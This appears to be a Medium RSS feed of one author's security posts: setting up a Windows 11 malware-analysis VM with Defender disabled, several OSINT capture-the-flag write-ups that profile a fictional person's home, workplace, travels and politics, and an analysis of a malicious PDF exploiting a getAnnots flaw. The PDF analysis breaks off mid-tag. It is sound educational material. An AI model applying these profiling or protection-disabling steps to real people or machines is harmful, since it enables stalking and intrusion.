<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Kamran Saifullah on Medium]]></title>
        <description><![CDATA[Stories by Kamran Saifullah on Medium]]></description>
        <link>https://medium.com/@kamransaifullah?source=rss-97a35e4d3bdd------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*aXtDyvGGGEgZGbay6AwTeg.jpeg</url>
            <title>Stories by Kamran Saifullah on Medium</title>
            <link>https://medium.com/@kamransaifullah?source=rss-97a35e4d3bdd------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 10:51:02 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@kamransaifullah/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Installing Win 11 on Mac M1/M2 for Malware Analysis]]></title>
            <link>https://kamransaifullah.medium.com/installing-win-11-on-mac-m1-m2-for-malware-analysis-25aeec725005?source=rss-97a35e4d3bdd------2</link>
            <guid isPermaLink="false">https://medium.com/p/25aeec725005</guid>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[cyber-security-awareness]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[ransomware]]></category>
            <dc:creator><![CDATA[Kamran Saifullah]]></dc:creator>
            <pubDate>Sun, 16 Jul 2023 22:41:54 GMT</pubDate>
            <atom:updated>2023-07-16T23:10:57.379Z</atom:updated>
            <content:encoded><![CDATA[<p>Well, since the Apple has released M1 and M2 chips for the Mac lovers. It has become quite a difficult task to use VMware, VirtualBox as well as to install a number of operation systems due to the reason they don’t support these chips.</p><p>In this article, we will go around the way to install Windows 11 for Malware Analysis on Mac M1 and M2.</p><p>The first and the foremost things is to download the Windows 11 preview build from the Microsoft Insider Program using the below link.</p><p><a href="https://www.microsoft.com/en-us/software-download/windowsinsiderpreviewARM64?wa=wsignin1.0">Download Windows Insider Preview ARM64</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1tuyrwei2lOoygB7N5ZCoA.png" /></figure><p>This is going to be around 10 GBs. Once downloaded the second step is to download the VMWare Fusion as it works on the M1/M2 mac now.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JaXqySZhC34sTugYII3i_Q.png" /></figure><p>Once installed. We need to do some hacking with the VHDX image downloaded from the Microsoft Insider Program. Fire up your terminal and install the qemu.</p><p><a href="https://www.qemu.org/download/">Download QEMU</a></p><p>Once QEMU has been installed you should be able to access the following commands directly from your terminal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Omrw8JuDVkvrgcm1ZEvpxA.png" /></figure><p>If its working fine, then move to the Download folder and use the following command to convert the VHDX file into VMDK file. Make sure that “VMDK” is in lowercase else you will have difficulties onboarding the disk onto the Vmware Fusion.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F2zhzaqM319OIagTL8GYew.png" /></figure><p>Once the disk has been converted. Now we can hop into our VMWare Fusion to install the Windows 11.</p><p>Click on the + icon in the top-left menu and click on new.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/502/1*p3E7566rsR9ba1buZAp8jw.png" /></figure><p>Now, click on Create a Custom Virtual Image.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/502/1*7qjDPeeoE1kUs1ijPXlTCQ.png" /></figure><p>Select Windows 11 for ARM.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NcmGFozfsjqd_m05lCKR7g.png" /></figure><p>Let the following page remains the same.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NkQOyF4pO4YMx6OmPH84kg.png" /></figure><p>Add password of your choice.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2hiv4OEA_PQDRvtUQi_-JA.png" /></figure><p>Now click on “Use an existing Virtual Disk” and select the VMDK file we have created previously and finish.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ex00puw4lmpHrwGwtfla6Q.png" /></figure><p>Once all done and finished, your Windows 11 will load automatically. Follow the steps until you reach the internet page. We are required to use some hacking skills here.</p><p>Once you are on the below page. Use the following combination on your Mac keyboard to open up a terminal.</p><p><strong>SHIFT + Function + F10 </strong>(All Together)</p><p>This will open up a terminal and then type the following.</p><p>&gt; <strong>OOBE\BYPASSNRO</strong> and hit enter</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*23TEuFoQyPTHQC8rcOjuww.png" /></figure><p>Once done, it will restart your machine and now your issue is resolved. Now you can click on “I dont have the internet” and proceed further.</p><p>Set the username, password and security questions. Once all done. You are welcomed with the screen you have struggled for.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BRL5tfJGydju_kzbKFVnog.png" /></figure><p>The final step is take a snapshot of the VM so that we can roll back to the fresh installation once we are done with analyzing the malwares.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JJSW0098q8AhFY6oUMeXBg.png" /></figure><p>Once we are done with the snapshot, we can move forward to disable the Windows Defender as we don’t need it.</p><p>Ensure to log in using the created office account. Once all done, open the gpedit.msc and locate the following.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zI0Xf-jLhW1_-qbN-JKEgA.png" /></figure><p>Open it up and make it enabled.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ed5wMrBc4OUHAofJb_caWw.png" /></figure><p>Restart your machine and take another snapshot. Before you go any further you need to install the VMWare Tools. Which can be done by doing the following.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/554/1*zM9x7uGbRPf11lLAPbiDXA.png" /></figure><p>Then run Powershell in Administrative mode and execute the script.</p><p>Finally, go the the Flare VM Github page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JgBcibfWv7joih3MZN1yxA.png" /></figure><p>Download the script and execute it to build your Flare VM machine for malware analysis.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6vMpFhvpBkKPfRaU7hRCNg.png" /></figure><p>This will take much time as it will be downloading a number of tools onto the VM. Once all done, you are good to go to start with your Malware Analysis.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=25aeec725005" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CyberSoc CTF — Life Online — OSINT — wagthetail]]></title>
            <link>https://kamransaifullah.medium.com/cybersoc-ctf-life-online-osint-wagthetail-1af390b778b?source=rss-97a35e4d3bdd------2</link>
            <guid isPermaLink="false">https://medium.com/p/1af390b778b</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[osint]]></category>
            <category><![CDATA[information-security]]></category>
            <dc:creator><![CDATA[Kamran Saifullah]]></dc:creator>
            <pubDate>Sun, 07 Aug 2022 12:36:48 GMT</pubDate>
            <atom:updated>2022-08-07T12:36:48.161Z</atom:updated>
            <content:encoded><![CDATA[<h3>CyberSoc CTF — Life Online — OSINT — wagthetail</h3><p>Cyber Detective CTF is an OSINT-focussed CTF created by the Cyber Society at Cardiff University.</p><p><a href="https://ctf.cybersoc.wales/">https://ctf.cybersoc.wales/</a></p><p>In this article we are going to quickly solve the CyberSoc CTF — OSINT Challenges</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/984/1*K_vVAGnYVJ7sDo_p9j0sPA.png" /></figure><p>In this challenge we are required to find out the information related to Sarah’s dog where she loved to take it out. On looking onto the Twitter Bio of Sarah, we can find out that she mentioned a name Buster’s and next to seems like some kind of geo-location co-ordinates.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m6YnOG5zkl488kX40O5ttA.png" /></figure><p>On checking these coordinates on google maps, we can find the answer i.e. Brecon</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*04ysLGmAeXKFVL3AG1MEew.png" /></figure><p>So, we have our Mind-Map updated till the latest information we have gathered.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UEFFJCwgYBY_Wa5HweQSxg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1af390b778b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CyberSoc CTF — Life Online — OSINT — suntan]]></title>
            <link>https://kamransaifullah.medium.com/cybersoc-ctf-life-online-osint-suntan-205a5fad0d28?source=rss-97a35e4d3bdd------2</link>
            <guid isPermaLink="false">https://medium.com/p/205a5fad0d28</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[osint-investigation]]></category>
            <dc:creator><![CDATA[Kamran Saifullah]]></dc:creator>
            <pubDate>Sun, 07 Aug 2022 12:27:23 GMT</pubDate>
            <atom:updated>2022-08-07T12:27:23.615Z</atom:updated>
            <content:encoded><![CDATA[<h3>CyberSoc CTF — Life Online — OSINT — suntan</h3><p>Cyber Detective CTF is an OSINT-focussed CTF created by the Cyber Society at Cardiff University.</p><p><a href="https://ctf.cybersoc.wales/">https://ctf.cybersoc.wales/</a></p><p>In this article we are going to quickly solve the CyberSoc CTF — OSINT Challenges</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/984/1*LZfDUKBTavXSeIxBCtDSGw.png" /></figure><p>This time we need to find information related to Sarah i.e. to which city is she going. The thing to note here is so far we haven’t come across her name. As James has not mentioned her name in the tweets, there is a possibility that either James will be following her on twitter or Sarah will be following him.</p><p>So, on taking a closer look into the Following and Followers we can see that indeed an account named Sarah follows James.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dyii4CcjqN7aiZnRpF-MWw.png" /></figure><p>On taking a closer look onto the tweets made by Sarah, we can find out that she is planning to go to the following place in next 2 weeks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nB6knAV75oGTS75uZhxHxA.png" /></figure><p>We can perform a quick reverse image search on the same to find out more information regarding the location.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FYWU_XziYRx6ogAMfTGLGA.png" /></figure><p>We can find out that she is planning to go to Elizabeth Quay which is located in Perth. Thus, she is planning for PERTH.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=205a5fad0d28" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CyberSoc CTF — Life Online — OSINT — choochoo]]></title>
            <link>https://kamransaifullah.medium.com/cybersoc-ctf-life-online-osint-choochoo-79f01d349617?source=rss-97a35e4d3bdd------2</link>
            <guid isPermaLink="false">https://medium.com/p/79f01d349617</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[osint]]></category>
            <dc:creator><![CDATA[Kamran Saifullah]]></dc:creator>
            <pubDate>Sun, 07 Aug 2022 12:07:20 GMT</pubDate>
            <atom:updated>2022-08-07T12:07:20.786Z</atom:updated>
            <content:encoded><![CDATA[<h3>CyberSoc CTF — Life Online — OSINT — choochoo</h3><p>Cyber Detective CTF is an OSINT-focussed CTF created by the Cyber Society at Cardiff University.</p><p><a href="https://ctf.cybersoc.wales/">https://ctf.cybersoc.wales/</a></p><p>In this article we are going to quickly solve the CyberSoc CTF — OSINT Challenges</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*Db18behuZET9VhpmyJdQiw.png" /></figure><p>In this, challenge we need to find out where does James work. On taking a closer look into the tweets made by James. We can note down the following one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Sz4npa0FsCgvuw0hNyHsYw.png" /></figure><p>We have a picture of a train station. What we can do here is that we can perform a reverse image search to find out where is this train station.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4DiHoAKQib0aRkCumis95w.png" /></figure><p>On doing a quick google reverse image search we can find out that the train station is located in Cardiff. So that’s the place where James really work.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=79f01d349617" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CyberSoc CTF — Life Online — OSINT — Growing Up]]></title>
            <link>https://kamransaifullah.medium.com/cybersoc-ctf-life-online-osint-growing-up-79485b44632c?source=rss-97a35e4d3bdd------2</link>
            <guid isPermaLink="false">https://medium.com/p/79485b44632c</guid>
            <category><![CDATA[osint]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Kamran Saifullah]]></dc:creator>
            <pubDate>Sun, 07 Aug 2022 12:02:06 GMT</pubDate>
            <atom:updated>2022-08-07T12:02:06.431Z</atom:updated>
            <content:encoded><![CDATA[<h3>CyberSoc CTF — Life Online — OSINT — Growing Up</h3><p>Cyber Detective CTF is an OSINT-focussed CTF created by the Cyber Society at Cardiff University.</p><p><a href="https://ctf.cybersoc.wales/">https://ctf.cybersoc.wales/</a></p><p>In this article we are going to quickly solve the CyberSoc CTF — OSINT Challenges</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/998/1*VwnBxzIs0_Up546H4RFx9Q.png" /></figure><p>In previous write-up we were able to solve the first challenge. This one is the second one and we need to find out the information i.e where does the James Markson lives.</p><p>We had the following information from the last investigation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*me9bY5S2YFOAzpZGv9KYXg.png" /></figure><p>So, if we try to find out the information related to the location as mentioned in the bio we are not returned with some good results. In fact we need to check out the tweets from the user.</p><p>One of the tweets which caught my eye was the following.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eNxXMfkkpy6mEFFNIse8EA.png" /></figure><p>It seems like that James likes this application and is using the same one to mark 3 words addresses.</p><p>On checking the address on What3Words we are able to find the location which is Yorkshire.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*ltXQODbSRpZ5Ava17jnY4g.png" /></figure><p>Thus, we are able to update our Mind-Map as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GK6fSmFWLlAwLNWoGZC_kg.png" /></figure><p>That’s the answer for this challenge.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=79485b44632c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CyberSoc CTF — Life Online — OSINT — VOTE FOR ME]]></title>
            <link>https://kamransaifullah.medium.com/cybersoc-ctf-life-online-osint-vote-for-me-9e23ba4435ff?source=rss-97a35e4d3bdd------2</link>
            <guid isPermaLink="false">https://medium.com/p/9e23ba4435ff</guid>
            <category><![CDATA[osint]]></category>
            <category><![CDATA[defense]]></category>
            <category><![CDATA[cybersocctf]]></category>
            <category><![CDATA[cyber-security-awareness]]></category>
            <dc:creator><![CDATA[Kamran Saifullah]]></dc:creator>
            <pubDate>Sun, 07 Aug 2022 08:31:52 GMT</pubDate>
            <atom:updated>2022-08-07T10:48:00.096Z</atom:updated>
            <content:encoded><![CDATA[<h3>CyberSoc CTF — Life Online — OSINT — VOTE FOR ME</h3><p>Cyber Detective CTF is an OSINT-focussed CTF created by the Cyber Society at Cardiff University.</p><p><a href="https://ctf.cybersoc.wales/">https://ctf.cybersoc.wales/</a></p><p>In this article we are going to quickly solve the CyberSoc CTF — OSINT Challenges</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/992/1*EddjbgtgJMyptKLYaE3AHQ.png" /></figure><p>In this challenge we have a target of whom twitter account is provided. We can easily gather the following details from the twitter account by just taking the initial look.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F-TexoHDYCoPcSio1aovUA.png" /></figure><p>Remember here that we are trying to build the context from the very beginning. Moving further we can gather the account statistics i.e. How many users is he following and how many followers does he has. Because no one follows someone without having an influence.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/984/1*ePTiOqhOCsb3NRThk5G8EA.png" /></figure><p>On taking a closer look into the user account which are James Markson is following. We can find 2 politicians accounts.</p><ol><li>Barack Obama → United States</li><li>Jeremy Corbyn → United Kingdom</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X8PFsm-f2prNkkUdq3sKIQ.png" /></figure><p>As he is just following these 2 politicians we can not build the context here. Thus, we will have to take a look into the tweets of this user to see, if he has retweeted any of the political news/tweet. As this will provide that which party has his influence on.</p><p>While going through the tweets of this user we can see the below tweet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h_M0odElu8gia-1NoAli_w.png" /></figure><p>Seems like James is agreeing to what Ron Wyden has to say about Donald Trump where Trump represents Republican Party.</p><p>On doing a quick research on Ron Wyden, we can see that he represents Democratic Party. While Jeremy Corbyn represents Labour Party.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mZ-0CYBH0IyABiskxKLoEA.png" /></figure><p>Thus, we can prove that James Markson supports Democratic Party and we can have a complete mind-map of the James Markson Twitter Account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8NeY0OXo8JJimAC285s5AQ.png" /></figure><p>I will be using the same mind-map to map all the activities/information related to this account and associated ones to complete our investigations!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9e23ba4435ff" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CyberSoc CTF — General Knowledge]]></title>
            <link>https://kamransaifullah.medium.com/cybersoc-ctf-general-knowledge-82eb932804ca?source=rss-97a35e4d3bdd------2</link>
            <guid isPermaLink="false">https://medium.com/p/82eb932804ca</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cyber-soc]]></category>
            <category><![CDATA[osint]]></category>
            <category><![CDATA[investigation]]></category>
            <dc:creator><![CDATA[Kamran Saifullah]]></dc:creator>
            <pubDate>Tue, 19 Jul 2022 07:26:36 GMT</pubDate>
            <atom:updated>2022-07-19T07:26:36.050Z</atom:updated>
            <content:encoded><![CDATA[<h3>CyberSoc CTF — General Knowledge</h3><p>Cyber Detective CTF is an OSINT-focussed CTF created by the Cyber Society at Cardiff University.</p><p><a href="https://ctf.cybersoc.wales/">https://ctf.cybersoc.wales/</a></p><p>In this article we are going to quickly solve the CyberSoc CTF — General Knowledge challenges. These are challenges for n00bs so let’s get into it.</p><h3>SPY</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/499/1*MQbOlj8uruNymw0fYfmCeA.png" /></figure><p>So, we have a hint i.e. OSINT, so we know what the complete abbreviation of OSINT really is.</p><h3>HUSH</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/493/1*hf0-wr_XsV1bKQdsM6IZTA.png" /></figure><p>We have been emphasizing this a lot everywhere i.e. use HTTPS rather than HTTP. So, we definitely know what HTTPS stands for.</p><h3>PORTED</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/486/1*WEaZzps2jo0C7DeEN64aQw.png" /></figure><p>Port 80 is for HTTP so what is the port for HTTPS?</p><h3>SLUGGISH</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/485/1*tjVr3Svwbb05JFG5WnrhmA.png" /></figure><p>There have been times when we have seen very SLOW animals on National Geographic. Might be there was a attack for APACHE servers as well?</p><h3>WIFILOCK</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/491/1*NDgBmbiTgyY0ng2afBcfdw.png" /></figure><p>This has to do everything with WiFi. There were time when it was possible to sniff into the wireless traffic due to WEP but later on this was matured and WPA came into being. What do you have to say for the same?</p><h3>FISHY</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/488/1*g2kH-7mqV7RlHasGXStUPg.png" /></figure><p>There is only one and the most famous and most popular Network Protocol Analyzer.</p><h3>IKNOWYOURNAME</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/488/1*mRor9igYwLf0lUh3YF5BYg.png" /></figure><p>There is a really good and old website for checking our wireless access points around the globe and all it does it shows you with the neat and clean graph. You feel WIGGLE WIGGLE.</p><h3>URLSAFE</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/490/1*3HRdBS0QevhGqGBANN4QNQ.png" /></figure><p>Well, most of the people in IT specially developers confuse this with encryption and you can find it in BASIC AUTH.</p><h3>STREETVIEW</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/488/1*LUKojjwfflgUjEk8gTDJjw.png" /></figure><p>Google has Google Maps but does it have any other tool to have a good street view?</p><h3>BLEEPBLOOP</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/492/1*vma3EDv_EXbfxF8tP8kjdg.png" /></figure><p>This looks something like a code which came into limelight in 1837.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=82eb932804ca" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Analyzing Malicious PDFs Documents]]></title>
            <link>https://kamransaifullah.medium.com/analyzing-malicious-pdfs-c26533c07147?source=rss-97a35e4d3bdd------2</link>
            <guid isPermaLink="false">https://medium.com/p/c26533c07147</guid>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[cve]]></category>
            <category><![CDATA[pdf-analysis]]></category>
            <category><![CDATA[exploit]]></category>
            <dc:creator><![CDATA[Kamran Saifullah]]></dc:creator>
            <pubDate>Mon, 07 Mar 2022 19:03:07 GMT</pubDate>
            <atom:updated>2022-03-09T17:42:53.314Z</atom:updated>
            <content:encoded><![CDATA[<p>This article has been co-authored by.</p><p>1. Mr. Waqas Haider — Chief Information Security Officer — HBL MicroFinance Bank</p><p>2. Mr. Muhammad Ali – Manager GRC – Telenor MicroFinance Bank (EasyPaisa)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ggEsp8-zVLr7eQKX.png" /></figure><h3>Introduction</h3><p>PDF Files have been used by adversaries for years due to the functionalities it provides. Adversaries can add JavaScript, Embed Files, Embed Shellcodes etc. within a single PDF File. Due to the reason for being used widely around the globe PDFs are prone to many vulnerabilities and exploits. Adversaries are taking advantage of the same to get initial access into enterprises.</p><p>In this article we will be diving deep into PEEPDF, MPEEPDF (tools based on python) along with some other commonly and freely available open source softwares/scripts to analyze a malicious PDF file.</p><p>As always, we should at first calculate the hashes of the malicious file, because we don’t want to have them shared around. We need to always keep in mind that attack can be specific to your organization only. Thus, at first we need to gather as much detail as we can, take necessary actions and precautions before sharing the intelligence with others.</p><p>In order to calculate the hashes we will be using HASHER (An automated offline hash calculation tool written in Python3).</p><p><a href="https://github.com/deFr0ggy/HASHER">https://github.com/deFr0ggy/HASHER</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iIL4xjCRsw_8yfYNwY2igQ.png" /></figure><p>It is recommended to atleast have a basic understanding of the PDF File Structure. But, keeping it simple we need to know the following.</p><ol><li>Each PDF File has its header.</li><li>Each PDF File can have MetaData (It can be removed as well).</li><li>Data is stored in Objects and Streams (Investigation Points).</li></ol><h3>Building Basics</h3><p>In order to understand the overall structure of the PDF File, we can use <strong>PDFID</strong>. Which checks and provides us with all the sections of the PDF file.</p><p>The important things to note from the output are:</p><ol><li><strong>/Encrypt </strong>→ Total numbers of objects/sections encrypted.</li><li><strong>/JS</strong> → Total number of section containing the JS code.</li><li><strong>/JavaScript </strong>→ Total number of section containing the JS code.</li><li><strong>/OpenAction</strong> → Points to the code which will be run when the PDF will be opened.</li><li><strong>/AA</strong> → This points to the defined additional triggers.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pf2i7o66NcUavzqMLZicbA.png" /></figure><p>We can also read the MetaData of the file by using <strong>PDFMETADATA</strong> which in our case returns an error. Proving that something is wrong with the PDF file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TtPrHFg68er3ERbVd-vffw.png" /></figure><p>Moving further, let’s utilize PeePDF to perform thorough analysis of the PDF file. After supplying the PDF file to PeePDF in an interactive mode, we can observe that it returned an error. It is common for malformed PDF file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g87oo-cy9S8cE02b7yFrnA.png" /></figure><p>We can use the <strong>force mode</strong> mode to open the file in an interactive mode. We can observe that it has been loaded in an interactive mode. PeePDF has provided us with loads of information.</p><ol><li><strong>Hash Calculation</strong></li><li><strong>Size of the PDF document</strong></li><li><strong>PDF Version</strong></li><li><strong>Encryption Status</strong></li><li><strong>Total Objects</strong></li><li><strong>Total Streams</strong></li><li><strong>URIs</strong></li><li><strong>Comments</strong></li><li><strong>Errors</strong></li><li><strong>Vulnerabilities (CVEs) if any.</strong></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dl93fjw6kN0O3Tua3oB-3w.png" /></figure><p>The CVE is basically a memory corruption vulnerability in getAnnots Doc method in the JavaScript API. The adversaries have taken the leverage of the same vulnerability. It means that is going to be an exploit code embedded within the PDF</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mQyo8hpqYpu89aBR9xFbpQ.png" /></figure><p>We can supply metadata command within the PPDF terminal to gather metadata information. Key details to note are the Author Details, The Creation Date and any information which can reveal which software was used to create this document.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SeXHGiM7okmr1bzFhctE4w.png" /></figure><p>While the tree command provides with with the current directory structure of the PDF file under analysis.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Op4jDJbtBuQ9n-tLKMLWTw.png" /></figure><p>It is to be noted that in force mode, we have ingnored all the error messages. PeePDF allows us to analyze the PDF using loose mode. This is to highlight any missed objects/streams.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EwrGLxfZQa1jvpvqXzhZ1g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aF2Ib7PBIEWJbJqo8VxaUg.png" /></figure><p>The main difference between the two screenshots is:</p><ol><li><strong>Object 21</strong> was missing and was not highlighted during the force mode.</li><li><strong>/EmbeddedFile</strong> element was missing and was not highlighted during the force mode.</li></ol><p>Loose mode has helped us cross-check the missing elements. Our main focus is towards finding and analyzing <strong>/JS</strong>, <strong>/JavaScript</strong>. The locations for <strong>/JS</strong> is <strong>4</strong> and for <strong>/JavaScript</strong> is <strong>4</strong> as well. We can use the object command to locate the details within these location.</p><p>We can observe that Object 4 points to Object 5.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/470/1*h52yxn-LrRWvKw69FCPbBw.png" /></figure><p>So, we will check for Object 5 using the same command. We can observe that there is a JavaScript code embedded within this object.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vMWjgLS0qTpUvq2xEIJRrA.png" /></figure><p>We can use<strong> js_beautify</strong> command to beautify the code for better understanding. We can observe that this PDF used annotations and possibility this PDF is vulnerable to getAnnots vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O_Yiv3Zs0Y_mQmhvSnmMBA.png" /></figure><p>Finally, we will save the code in text file for later analysis.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*BiIhNM4u5MKrEJM2Dhe_Ow.png" /></figure><h3>De-Obfuscating The Obfuscated JS Code</h3><p>As we found the JS code and it does not makes any sense due to the variable names and the naming conventions being used. So, we will try to deobfuscate the code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sWKGVx1bzO0VZMCFErcJPQ.png" /></figure><p>Manually, renaming the variables as per our own understanding yield a good code which now makes sense.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bzL-Um8Pn3sUXOmORk7XYQ.png" /></figure><p>We can align the code as per the logic.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AujyHG4CY5S8Jz0XkIxaNA.png" /></figure><p>Shrinking the code to the level it can’t be shrinked anymore. Finally the code has started to clear up the picture for us.</p><p>So what happening here is the code is building up an eval function to execute the shell code which is hiding within the Annotation.</p><ul><li><strong>app.doc.syncAnnotScan()</strong> → Scans for all existing annotations objects.</li><li><strong>app.doc.getAnnots() </strong>→ Fetches and returns the existing annotation objects.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CGVf89WGJikmB2yfBZBIHw.png" /></figure><h3>Finding The Annotations</h3><p>Using the tree command we can look for the Annot Object Locations. Which in our case is as follows:</p><ol><li>Annot 24</li><li>Annot 6</li><li>Annot 8</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kgxvjvH7aENoGva5-JJxOQ.png" /></figure><p>Now we will query each Annot Object to find more information.</p><h3>Annot 6</h3><p>Object 6 points to Object 7.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/530/1*Nlz_FDIlWPQ23y5D9njsPQ.png" /></figure><p>Object 7 includes an encoded data possibly encoded JS Code or Payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lBpPxThk0sBN7BPhiTO7TQ.png" /></figure><h3>Annot 8</h3><p>Object 8 points to Object 9.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/668/1*WCi1zGQ4uFznd0qTXvRstA.png" /></figure><p>Object 9 includes an encoded data possibly encoded JS Code or Payload.</p><figure><img alt="" 